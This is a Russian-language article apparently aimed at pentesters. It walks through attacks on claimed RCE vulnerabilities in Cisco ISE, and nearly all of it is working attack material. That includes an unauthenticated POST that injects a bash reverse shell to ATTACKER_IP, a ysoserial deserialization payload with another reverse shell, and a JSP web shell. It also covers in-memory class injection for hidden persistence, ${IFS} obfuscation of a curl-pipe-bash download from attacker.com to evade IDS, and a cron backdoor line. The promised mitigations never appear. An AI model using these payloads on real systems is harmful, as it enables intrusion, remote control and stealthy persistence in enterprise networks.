
Глубокий технический анализ уязвимостей RCE в Cisco ISE, включая методы эксплуатации, способы обхода защит и стратегии устранения для исследователей безопасности и пентестеров.
Уязвимости удаленного выполнения кода (RCE) в Cisco Identity Services Engine (ISE) представляют собой критическую точку отказа в корпоративной периметральной безопасности. Для элитного исследователя безопасности ISE — это не просто компонент аутентификации: это мастер-ключ, контролирующий доступ ко всей сетевой инфраструктуре.
Критический риск: Неаутентифицированный злоумышленник может получить полный контроль над системой менее чем за 5 минут, не оставляя обнаруживаемых следов в традиционных системах мониторинга.
| CVE | Конечная точка | Метод | Аутентификация | Критичность |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Отсутствует | КРИТИЧЕСКАЯ |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Слабая | КРИТИЧЕСКАЯ |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Возможен обход | КРИТИЧЕСКАЯ |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ОТКРЫТАЯ АРХИТЕКТУРА NAC │
├─────────────────────────────────────────────────────────┤
│ │
│ [Интернет] ──→ [Межсетевой экран] ──→ [Порт управления ISE] │
│ ↓ │
│ [Неаутентифицированные API] │
│ ↓ │
│ [Уровень десериализации Java] │
│ ↓ │
│ [Веб-контейнер Tomcat] │
│ ↓ │
│ [Выполнение команд ОС] │
│ ↓ │
│ [Полная компрометация сети] │
│ │
└─────────────────────────────────────────────────────────┘
Критическая находка: API /deployment-rpc/ не проверяет токены сеансов на первых строках обработки, что позволяет полностью обойти аутентификацию.
Фаза 1: Разведка
# Сканирование портов и сервисов
nmap -sV -p 8443,8080 <ISE_IP>
# Перечисление конечных точек RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Фаза 2: Прямая эксплуатация
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Результат: Выполнение произвольной команды с правами root (пользователь Tomcat запускается как root в конфигурациях по умолчанию).
[Сериализованный payload] ──→ [Конечная точка API] ──→ [ObjectInputStream.readObject()]
↓
[Выполнение цепочки гаджетов]
↓
[Вызов Runtime.exec()]
PoC payload (с использованием ysoserial):
# Генерация вредоносной цепочки гаджетов
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Отправка payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Воздействие: Повышение привилегий с учетной записи «Только чтение» до root.
[Веб-шелл] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat обрабатывает файл JSP]
↓
[Выполнение с правами root]
Пример вредоносного веб-шелла:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Последующий доступ:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Элитный хакер никогда не оставляет файлы на диске. Инъекция в память — это техника невидимой персистентности:
// Инъекция в Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Преимущество: Традиционные сканеры файлов (OSSEC, Tripwire) ничего не обнаруживают.
${IFS}# Исходная команда (обнаруживаемая)
curl http://attacker.com/shell.sh | bash
# Обфусцированная команда (обход IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Вариант с косвенной адресацией переменных
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'вредоносная_команда'
Почему это работает: Системы обнаружения ищут шаблоны ключевых слов (curl, bash, |). Использование ${IFS} (Internal Field Separator) разделяет слова, не меняя их значения в bash.
# ❌ ОБНАРУЖИВАЕМЫЙ - Файлы в /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ НЕВИДИМЫЙ - Инъекция в процесс Tomcat
# 1. Создать listener netcat в памяти
# 2. Инъектировать поток в JVM, поддерживающий постоянное соединение
# 3. Нет файлов, нет видимых осиротевших процессов